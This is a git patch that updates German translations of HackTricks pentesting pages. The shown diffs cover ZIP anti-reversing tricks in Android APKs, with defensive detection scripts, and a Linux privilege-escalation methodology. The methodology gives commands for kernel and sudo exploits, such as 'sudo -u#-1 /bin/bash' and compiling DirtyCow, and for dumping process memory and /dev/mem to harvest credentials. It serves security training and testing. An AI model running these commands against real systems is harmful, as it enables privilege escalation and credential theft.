From 3f43948515cd94e431f8312d931cd415231f05ad Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 4 Sep 2025 00:55:31 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/pass --- .../zips-tricks.md | 66 +- .../privilege-escalation/README.md | 556 +++++++------- .../android-app-pentesting/README.md | 533 ++++++------- .../pentesting-mysql.md | 141 ++-- ...object-creation-new-usd_get-a-usd_get-b.md | 52 +- .../pentesting-web/spring-actuators.md | 78 +- .../README.md | 293 ++++---- src/pentesting-web/file-inclusion/README.md | 320 ++++---- .../file-inclusion/lfi2rce-via-php-filters.md | 38 +- src/pentesting-web/file-upload/README.md | 170 ++--- .../kerberos-authentication.md | 2 +- .../password-spraying.md | 72 +- .../silver-ticket.md | 58 +- .../README.md | 146 ++-- .../checklist-windows-privilege-escalation.md | 72 +- .../README.md | 700 +++++++++--------- .../abusing-auto-updaters-and-ipc.md | 80 +- .../juicypotato.md | 88 +-- 18 files changed, 1733 insertions(+), 1732 deletions(-) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index 0c6b03943..e98acf18a 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,28 +1,28 @@ -# ZIP-Tricks +# ZIPs tricks {{#include ../../../banners/hacktricks-training.md}} -**Kommandozeilen-Tools** zur Verwaltung von **zip files** sind unverzichtbar, um zip files zu diagnostizieren, zu reparieren und zu knacken. Hier einige wichtige Utilities: +**Command-line tools** zur Verwaltung von **zip files** sind unerlässlich, um Zip-Dateien zu diagnostizieren, zu reparieren und zu knacken. Hier sind einige wichtige Werkzeuge: -- **`unzip`**: Zeigt, warum eine zip file möglicherweise nicht entpackt werden kann. -- **`zipdetails -v`**: Bietet eine detaillierte Analyse der Felder des zip file-Formats. -- **`zipinfo`**: Listet den Inhalt einer zip file auf, ohne sie zu extrahieren. -- **`zip -F input.zip --out output.zip`** und **`zip -FF input.zip --out output.zip`**: Versuchen, beschädigte zip files zu reparieren. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ein Tool zum Brute-Force-Knacken von zip-Passwörtern, effektiv für Passwörter bis etwa 7 Zeichen. +- **`unzip`**: Zeigt, warum sich eine Zip-Datei möglicherweise nicht entpacken lässt. +- **`zipdetails -v`**: Bietet eine detaillierte Analyse der Felder im Zip-Dateiformat. +- **`zipinfo`**: Listet den Inhalt einer Zip-Datei auf, ohne diese zu extrahieren. +- **`zip -F input.zip --out output.zip`** und **`zip -FF input.zip --out output.zip`**: Versuchen, beschädigte Zip-Dateien zu reparieren. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ein Tool zum Brute-Force-Knacken von Zip-Passwörtern, effektiv für Passwörter bis etwa 7 Zeichen. -Die [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) liefert umfassende Details zur Struktur und zu den Standards von zip files. +Die [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) liefert umfassende Details zur Struktur und den Standards von Zip-Dateien. -Wichtig ist, dass passwortgeschützte zip files **nicht die Dateinamen oder Dateigrößen verschlüsseln**, ein Sicherheitsmangel, der bei RAR- oder 7z-Dateien nicht vorhanden ist, da diese diese Informationen verschlüsseln können. Außerdem sind zip files, die mit der älteren ZipCrypto-Methode verschlüsselt wurden, anfällig für einen **plaintext attack**, wenn eine unverschlüsselte Kopie einer komprimierten Datei verfügbar ist. Dieser Angriff nutzt den bekannten Inhalt aus, um das Zip-Passwort zu knacken — eine Schwachstelle, die in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) beschrieben und in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) weiter erläutert wird. Zip files, die mit **AES-256** gesichert sind, sind gegen diesen plaintext attack immun, was die Bedeutung sicherer Verschlüsselungsmethoden für sensible Daten unterstreicht. +Wichtig ist, dass passwortgeschützte Zip-Dateien **keine Dateinamen oder Dateigrößen** innerhalb der Datei verschlüsseln — ein Sicherheitsmangel, der bei RAR- oder 7z-Dateien, die diese Informationen verschlüsseln, nicht vorhanden ist. Darüber hinaus sind Zip-Dateien, die mit der älteren ZipCrypto-Methode verschlüsselt sind, anfällig für einen **plaintext attack**, wenn eine unverschlüsselte Kopie einer komprimierten Datei verfügbar ist. Dieser Angriff nutzt den bekannten Inhalt, um das Zip-Passwort zu knacken — eine Verwundbarkeit, die im [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) beschrieben und in [diesem akademischen Paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) weiter erläutert wird. Zip-Dateien, die hingegen mit **AES-256** verschlüsselt sind, sind gegen diesen plaintext attack immun, was die Bedeutung sicherer Verschlüsselungsmethoden für sensible Daten unterstreicht. --- -## Anti-Reversing-Tricks in APKs durch manipulierte ZIP-Header +## Anti-reversing tricks in APKs using manipulated ZIP headers -Moderne Android-Malware-Dropper nutzen fehlerhafte ZIP-Metadaten, um statische Tools (jadx/apktool/unzip) zu zerstören, während die APK auf dem Gerät weiterhin installierbar bleibt. Die häufigsten Tricks sind: +Moderne Android-Malware-Dropper verwenden fehlerhafte ZIP-Metadaten, um statische Tools (jadx/apktool/unzip) zu zerstören und gleichzeitig die APK auf dem Gerät installierbar zu halten. Die gebräuchlichsten Tricks sind: -- Gefälschte Verschlüsselung durch Setzen des ZIP General Purpose Bit Flag (GPBF) Bit 0 -- Ausnutzung großer/benutzerdefinierter Extra fields, um Parser zu verwirren -- Datei-/Verzeichnisnamen-Kollisionen, um echte Artefakte zu verbergen (z. B. ein Verzeichnis namens `classes.dex/` neben der echten `classes.dex`) +- Fake-Verschlüsselung durch Setzen des ZIP General Purpose Bit Flag (GPBF) Bit 0 +- Ausnutzen großer/benutzerdefinierter Extra-Felder, um Parser zu verwirren +- Dateiname-/Verzeichnis-Kollisionen, um echte Artefakte zu verbergen (z. B. ein Verzeichnis namens `classes.dex/` neben der echten `classes.dex`) ### 1) Fake encryption (GPBF bit 0 set) without real crypto @@ -32,7 +32,7 @@ Symptome: ``` java.util.zip.ZipException: invalid CEN header (encrypted entry) ``` -- `unzip` fragt nach einem Passwort für zentrale APK-Dateien, obwohl eine gültige APK keine verschlüsselten `classes*.dex`, `resources.arsc` oder `AndroidManifest.xml` haben kann: +- `unzip` fordert ein Passwort für Kern-APK-Dateien an, obwohl eine gültige APK keine verschlüsselten `classes*.dex`, `resources.arsc`, oder `AndroidManifest.xml` haben kann: ```bash unzip sample.apk @@ -47,7 +47,7 @@ Erkennung mit zipdetails: ```bash zipdetails -v sample.apk | less ``` -Sieh dir das General Purpose Bit Flag für lokale und zentrale Header an. Ein verräterischer Wert ist, dass Bit 0 gesetzt ist (Encryption), selbst für Core-Einträge: +Sieh dir das General Purpose Bit Flag für lokale und zentrale Header an. Ein verräterischer Wert ist Bit 0 gesetzt (Encryption) sogar bei Core-Einträgen: ``` Extract Zip Spec 2D '4.5' General Purpose Flag 0A09 @@ -56,9 +56,9 @@ General Purpose Flag 0A09 [Bit 3] 1 'Streamed' [Bit 11] 1 'Language Encoding' ``` -Heuristik: Wenn eine APK auf dem Gerät installiert und ausgeführt wird, aber Kern‑Einträge für Tools als "encrypted" erscheinen, wurde das GPBF manipuliert. +Heuristik: Wenn eine APK auf dem Gerät installiert und ausgeführt wird, aber Kern‑Einträge für Tools als "verschlüsselt" erscheinen, wurde das GPBF manipuliert. -Behebung: GPBF-Bit 0 sowohl in den Local File Headers (LFH) als auch in den Central Directory (CD)-Einträgen auf 0 zurücksetzen. Minimaler Byte-Patcher: +Beheben: Setze Bit 0 des GPBF sowohl in Local File Headers (LFH) als auch in Central Directory (CD)-Einträgen zurück. Minimaler Byte-Patcher: ```python # gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers import struct, sys @@ -94,29 +94,31 @@ Verwendung: python3 gpbf_clear.py obfuscated.apk normalized.apk zipdetails -v normalized.apk | grep -A2 "General Purpose Flag" ``` -Sie sollten nun `General Purpose Flag 0000` bei den Core-Einträgen sehen und Tools werden die APK erneut parsen. +Sie sollten nun `General Purpose Flag 0000` bei den Kerneinträgen sehen und Tools werden die APK wieder parsen. -### 2) Große/benutzerdefinierte Extra fields, um parsers zu brechen +### 2) Große/benutzerdefinierte Extra-Felder, um Parser zu brechen -Angreifer stopfen übergroße Extra fields und ungewöhnliche IDs in headers, um decompilers auszutricksen. In der Praxis sieht man dort möglicherweise eigene Marker (z. B. Strings wie `JADXBLOCK`) eingebettet. +Angreifer packen übergroße Extra-Felder und ungewöhnliche IDs in Header, um Decompiler auszulösen. In freier Wildbahn kann man dort benutzerdefinierte Marker sehen (z. B. strings wie `JADXBLOCK`) eingebettet. + +Inspektion: ```bash zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50 ``` -Beobachtete Beispiele: unbekannte IDs wie `0xCAFE` ("Java Executable") oder `0x414A` ("JA:") mit großen Payloads. +Beobachtete Beispiele: unbekannte IDs wie `0xCAFE` ("Java Executable") oder `0x414A` ("JA:") mit großen payloads. DFIR-Heuristiken: -- Alarm auslösen, wenn Extra fields bei Kern-Einträgen (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`) ungewöhnlich groß sind. -- Unbekannte Extra IDs in diesen Einträgen als verdächtig einstufen. +- Alarm auslösen, wenn Extra-Felder bei Kern-Einträgen (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`) ungewöhnlich groß sind. +- Unbekannte Extra-IDs in diesen Einträgen als verdächtig behandeln. -Praktische Gegenmaßnahme: Neuaufbau des Archives (z. B. erneutes Zippen der extrahierten Dateien) entfernt bösartige Extra fields. Wenn Tools das Extrahieren wegen gefälschter Verschlüsselung verweigern, zuerst GPBF bit 0 wie oben löschen, dann neu verpacken: +Praktische Gegenmaßnahme: Das Neuaufbauen des Archivs (z. B. erneutes Zippen der extrahierten Dateien) entfernt bösartige Extra-Felder. Wenn Tools die Extraktion aufgrund gefälschter Verschlüsselung verweigern, setzen Sie zuerst GPBF bit 0 wie oben beschrieben zurück und verpacken dann neu: ```bash mkdir /tmp/apk unzip -qq normalized.apk -d /tmp/apk (cd /tmp/apk && zip -qr ../clean.apk .) ``` -### 3) File/Directory name collisions (hiding real artifacts) +### 3) Datei-/Verzeichnisnamen-Kollisionen (Verbergen echter Artefakte) -Ein ZIP kann sowohl eine Datei `X` als auch ein Verzeichnis `X/` enthalten. Manche extractors und decompilers werden verwirrt und können die echte Datei durch einen Verzeichniseintrag überlagern oder verbergen. Dies wurde bei Einträgen beobachtet, die mit Kern-APK-Namen wie `classes.dex` kollidieren. +Eine ZIP kann sowohl eine Datei `X` als auch ein Verzeichnis `X/` enthalten. Manche Extractoren und Decompiler werden dadurch verwirrt und können die eigentliche Datei durch einen Verzeichniseintrag überlagern oder verbergen. Das wurde bei Einträgen beobachtet, die mit zentralen APK-Namen wie `classes.dex` kollidierten. Triage und sichere Extraktion: ```bash @@ -129,7 +131,7 @@ unzip normalized.apk -d outdir # replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r # new name: unk_classes.dex ``` -Programmatische Erkennung Nachfix: +Programmatische Erkennung (Suffix): ```python from zipfile import ZipFile from collections import defaultdict @@ -146,14 +148,14 @@ for base, variants in collisions.items(): if len(variants) > 1: print('COLLISION', base, '->', variants) ``` -Erkennungsansätze für das Blue Team: +Ideen zur Blue-Team-Erkennung: - Markiere APKs, deren lokale Header Verschlüsselung kennzeichnen (GPBF bit 0 = 1), die sich dennoch installieren/ausführen. -- Markiere große/unklare Extra-Felder in Core-Einträgen (nach Markern wie `JADXBLOCK` suchen). -- Markiere Pfad-Kollisionen (`X` und `X/`) insbesondere für `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. +- Markiere große/unklare Extra-Felder bei Kern-Einträgen (achte auf Marker wie `JADXBLOCK`). +- Markiere Pfad-Kollisionen (`X` und `X/`) speziell für `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. --- -## References +## Referenzen - [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) - [GodFather – Part 1 – A multistage dropper (APK ZIP anti-reversing)](https://shindan.io/blog/godfather-part-1-a-multistage-dropper) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index b6cc0a40c..4bf504dda 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,27 +6,27 @@ ### OS-Informationen -Fangen wir an, Informationen über das laufende OS zu sammeln +Beginnen wir damit, Informationen über das laufende Betriebssystem zu sammeln ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### Pfad -Wenn Sie **Schreibrechte für einen beliebigen Ordner innerhalb der `PATH`-Variable** haben, können Sie möglicherweise einige libraries oder binaries hijacken: +Wenn Sie **Schreibrechte auf einen beliebigen Ordner innerhalb der `PATH`**-Variable haben, können Sie möglicherweise einige libraries oder binaries hijacken: ```bash echo $PATH ``` -### Env info +### Env-Info -Interessante Informationen, Passwörter oder API keys in den Umgebungsvariablen? +Interessante Informationen, Passwörter oder API-Keys in den Umgebungsvariablen? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Überprüfe die Kernel-Version und ob es einen Exploit gibt, der für privilege escalation verwendet werden kann. +Prüfe die Kernel-Version und ob es einen exploit gibt, der verwendet werden kann, um escalate privileges. ```bash cat /proc/version uname -a @@ -35,17 +35,17 @@ searchsploit "Linux Kernel" Du findest eine gute Liste verwundbarer Kernel und einige bereits **compiled exploits** hier: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) und [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Weitere Seiten, auf denen du einige **compiled exploits** finden kannst: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Um alle verwundbaren Kernel-Versionen von dieser Webseite zu extrahieren, kannst du Folgendes tun: +Um alle verwundbaren Kernel-Versionen von dieser Seite zu extrahieren, kannst du folgendes tun: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Werkzeuge, die bei der Suche nach Kernel-Exploits helfen können, sind: +Tools, die bei der Suche nach Kernel-Exploits helfen können, sind: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ausführen IN victim, prüft nur exploits für kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ausführen IN victim, prüft nur Exploits für Kernel 2.x) -Always **Suche immer die Kernel-Version in Google**, vielleicht ist deine Kernel-Version in einem Kernel-Exploit angegeben und dann kannst du sicher sein, dass dieser Exploit gültig ist. +Suche immer **die Kernel-Version in Google**, vielleicht ist deine Kernel-Version in einem Kernel-Exploit erwähnt und dann bist du sicher, dass dieser Exploit gültig ist. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo-Version +### Sudo Version -Basierend auf den verwundbaren sudo-Versionen, die in: +Basierend auf den verwundbaren sudo-Versionen, die in Folgendem aufgeführt sind: ```bash searchsploit sudo ``` -Sie können überprüfen, ob die sudo-Version verwundbar ist, indem Sie dieses grep verwenden. +Du kannst prüfen, ob die sudo-Version anfällig ist, indem du dieses grep verwendest. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,13 +73,13 @@ Von @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg Signaturprüfung fehlgeschlagen +### Dmesg Signaturüberprüfung fehlgeschlagen -Siehe **smasher2 box of HTB** für ein **Beispiel**, wie diese vuln ausgenutzt werden könnte +Sieh dir die **smasher2 box von HTB** für ein **Beispiel** an, wie diese vuln ausgenutzt werden könnte. ```bash dmesg 2>/dev/null | grep "signature" ``` -### Weitere System-Enumerierung +### Weitere System Enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Wenn du dich in einem docker container befindest, kannst du versuchen, daraus zu entkommen: +Wenn du dich in einem docker container befindest, kannst du versuchen, daraus auszubrechen: {{#ref}} @@ -145,56 +145,56 @@ Nützliche binaries auflisten ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Prüfe außerdem, ob **any compiler is installed**. Das ist nützlich, falls du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu compile, auf der du ihn einsetzen wirst (oder auf einer ähnlichen). +Prüfe außerdem, ob **irgendein Compiler installiert ist**. Das ist nützlich, falls du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu kompilieren, auf der du ihn einsetzen willst (oder auf einer ähnlichen). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Verwundbare installierte Software +### Installierte anfällige Software -Überprüfen Sie die **Version der installierten Pakete und Dienste**. Vielleicht läuft eine alte Nagios-Version (zum Beispiel), die ausgenutzt werden könnte, um escalating privileges zu erlangen…\ -Es wird empfohlen, die Version der besonders verdächtigen installierten Software manuell zu prüfen. +Überprüfe die **Version der installierten Pakete und Dienste**. Vielleicht gibt es eine alte Nagios-Version (zum Beispiel), die ausgenutzt werden könnte, um escalating privileges zu erreichen…\ +Es wird empfohlen, die Version der verdächtigeren installierten Software manuell zu überprüfen. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Wenn du SSH-Zugriff auf die Maschine hast, kannst du auch **openVAS** verwenden, um nach veralteter und verwundbarer Software zu suchen, die auf der Maschine installiert ist. +Wenn Sie SSH-Zugriff auf die Maschine haben, können Sie auch **openVAS** verwenden, um nach veralteter und verwundbarer Software zu suchen, die auf der Maschine installiert ist. -> [!NOTE] > _Beachte, dass diese Befehle viele Informationen anzeigen werden, die größtenteils nutzlos sind; daher empfiehlt sich die Nutzung von Anwendungen wie OpenVAS oder ähnlichen, die prüfen, ob eine installierte Softwareversion für bekannte Exploits verwundbar ist_ +> [!NOTE] > _Beachten Sie, dass diese Befehle viele Informationen anzeigen werden, die größtenteils nutzlos sind. Daher empfiehlt es sich, Anwendungen wie OpenVAS oder ähnliche zu verwenden, die prüfen, ob eine installierte Softwareversion gegenüber bekannten exploits verwundbar ist._ ## Prozesse -Schau dir an, **welche Prozesse** ausgeführt werden, und prüfe, ob ein Prozess **mehr Rechte hat, als er haben sollte** (vielleicht läuft ein tomcat als root?) +Schauen Sie sich an, **welche Prozesse** ausgeführt werden, und prüfen Sie, ob ein Prozess **mehr Privilegien hat, als er sollte** (vielleicht wird tomcat als root ausgeführt?). ```bash ps aux ps -ef top -n 1 ``` -Prüfe immer auf mögliche [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Prüfe außerdem **check your privileges over the processes binaries**, vielleicht kannst du sie überschreiben. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. ### Prozessüberwachung -Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn bestimmte Voraussetzungen erfüllt sind. +Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Voraussetzungen erfüllt ist. ### Prozessspeicher -Einige Dienste auf einem Server speichern **Zugangsdaten im Klartext im Speicher**.\ -Normalerweise benötigst du **root privileges**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören; daher ist dies in der Regel nützlicher, wenn du bereits root bist und mehr Zugangsdaten finden möchtest.\ -Denke jedoch daran, dass **du als normaler Benutzer den Speicher der Prozesse, die dir gehören, lesen kannst**. +Manche Dienste eines Servers speichern **credentials im Klartext im Speicher**.\ +Normalerweise brauchst du **root privileges**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören; daher ist das normalerweise hilfreicher, wenn du bereits root bist und weitere credentials entdecken willst.\ +Denke jedoch daran, dass **du als normaler User den Speicher der Prozesse lesen kannst, die dir gehören**. > [!WARNING] -> Beachte, dass heutzutage die meisten Maschinen **ptrace standardmäßig nicht erlauben**, was bedeutet, dass du andere Prozesse, die zu deinem unprivileged user gehören, nicht dumpen kannst. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> Die Datei _**/proc/sys/kernel/yama/ptrace_scope**_ steuert die Zugänglichkeit von ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: alle Prozesse können debuggt werden, solange sie dieselbe uid haben. Das ist die klassische Funktionsweise von ptrace. -> - **kernel.yama.ptrace_scope = 1**: nur ein Elternprozess kann debuggt werden. -> - **kernel.yama.ptrace_scope = 2**: Nur Admin kann ptrace verwenden, da es die CAP_SYS_PTRACE-Fähigkeit erfordert. -> - **kernel.yama.ptrace_scope = 3**: Keine Prozesse dürfen mit ptrace nachverfolgt werden. Nach dem Setzen ist ein Reboot nötig, um ptracing wieder zu aktivieren. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Wenn du Zugriff auf den Speicher eines FTP-Dienstes (zum Beispiel) hast, könntest du den Heap auslesen und darin nach den Zugangsdaten suchen. +Wenn du Zugriff auf den Speicher eines FTP-Services (zum Beispiel) hast, könntest du den Heap auslesen und darin nach seinen credentials suchen. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### GDB Skript ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Für eine gegebene Prozess-ID zeigt **maps, wie der Speicher im virtuellen Adressraum dieses Prozesses abgebildet ist**; sie zeigt auch die **Berechtigungen jeder gemappten Region**. Die **mem** Pseudo-Datei **legt den Speicher des Prozesses selbst offen**. Aus der **maps**-Datei wissen wir, welche **Speicherbereiche lesbar sind** und deren Offsets. Wir nutzen diese Informationen, um **in die mem file zu seeken und alle lesbaren Bereiche zu dumpen** in eine Datei. +Für eine gegebene Prozess-ID zeigen **maps, wie der Speicher innerhalb dieses Prozesses** im virtuellen Adressraum gemappt ist; sie zeigen auch die **Berechtigungen jeder gemappten Region**. Die **mem** Pseudo-Datei **legt den Speicher des Prozesses selbst offen**. Aus der **maps**-Datei wissen wir, welche **Speicherbereiche lesbar sind** und ihre Offsets. Wir verwenden diese Informationen, um **in die mem-Datei zu seeken und alle lesbaren Bereiche zu dumpen**. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann über /dev/kmem angesprochen werden.\ -Typischerweise ist `/dev/mem` nur von **root** und der **kmem**-Gruppe lesbar. +`/dev/mem` bietet Zugriff auf den **physikalischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels ist über /dev/kmem zugänglich.\ +Typischerweise ist `/dev/mem` nur für **root** und die **kmem**-Gruppe lesbar. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump für linux +### ProcDump for linux -ProcDump ist eine Neuinterpretation für Linux des klassischen ProcDump-Tools aus der Sysinternals-Tool-Suite für Windows. Erhältlich unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump ist eine für Linux neu konzipierte Version des klassischen ProcDump-Tools aus der Sysinternals-Tool-Suite für Windows. Erhältlich unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,37 +267,37 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Werkzeuge -Um den Speicher eines Prozesses zu dumpen, können Sie folgende Tools verwenden: +To dump a process memory you could use: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Sie können manuell die Root-Anforderungen entfernen und den Prozess dumpen, der Ihnen gehört +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Sie können die root-Anforderungen manuell entfernen und den Prozess, der Ihnen gehört, dumpen - Script A.5 aus [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root ist erforderlich) -### Credentials aus dem Prozessspeicher +### Anmeldeinformationen aus dem Prozessspeicher #### Manuelles Beispiel -Wenn Sie feststellen, dass der authenticator-Prozess läuft: +Wenn Sie feststellen, dass der Authenticator-Prozess läuft: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Sie können den Prozess dumpen (siehe vorherige Abschnitte, um verschiedene Wege zu finden, den Speicher eines Prozesses zu dumpen) und nach Credentials im Speicher suchen: +Du kannst den Prozess dumpen (siehe frühere Abschnitte für verschiedene Methoden, den Speicher eines Prozesses zu dumpen) und im Speicher nach Anmeldeinformationen suchen: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **Klartext-Anmeldedaten aus dem Speicher** und aus einigen **bekannten Dateien** stehlen. Es benötigt root-Rechte, um korrekt zu funktionieren. +Das Tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) wird **Anmeldedaten im Klartext aus dem Speicher** und aus einigen **bekannten Dateien** stehlen. Es benötigt Root-Rechte, um richtig zu funktionieren. -| Funktion | Prozessname | +| Merkmal | Prozessname | | ------------------------------------------------- | -------------------- | | GDM-Passwort (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (aktive FTP-Verbindungen) | vsftpd | -| Apache2 (aktive HTTP Basic-Auth-Sitzungen) | apache2 | +| Apache2 (aktive HTTP-Basic-Auth-Sitzungen) | apache2 | | OpenSSH (aktive SSH-Sitzungen - Sudo-Nutzung) | sshd: | #### Such-Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) @@ -314,9 +314,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## Geplante/Cron-Jobs -Prüfe, ob ein geplanter Job verwundbar ist. Vielleicht kannst du ein von root ausgeführtes script ausnutzen (wildcard vuln? kannst du Dateien, die root verwendet, modifizieren? symlinks verwenden? bestimmte Dateien in dem Verzeichnis erstellen, das root verwendet?). +Prüfe, ob ein geplanter Job verwundbar ist. Vielleicht kannst du ausnutzen, dass ein Skript als root ausgeführt wird (wildcard vuln? Kannst du Dateien ändern, die root nutzt? symlinks verwenden? bestimmte Dateien in dem Verzeichnis erstellen, das root nutzt?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -324,26 +324,26 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron-Pfad -Zum Beispiel findet man in _/etc/crontab_ den PATH: 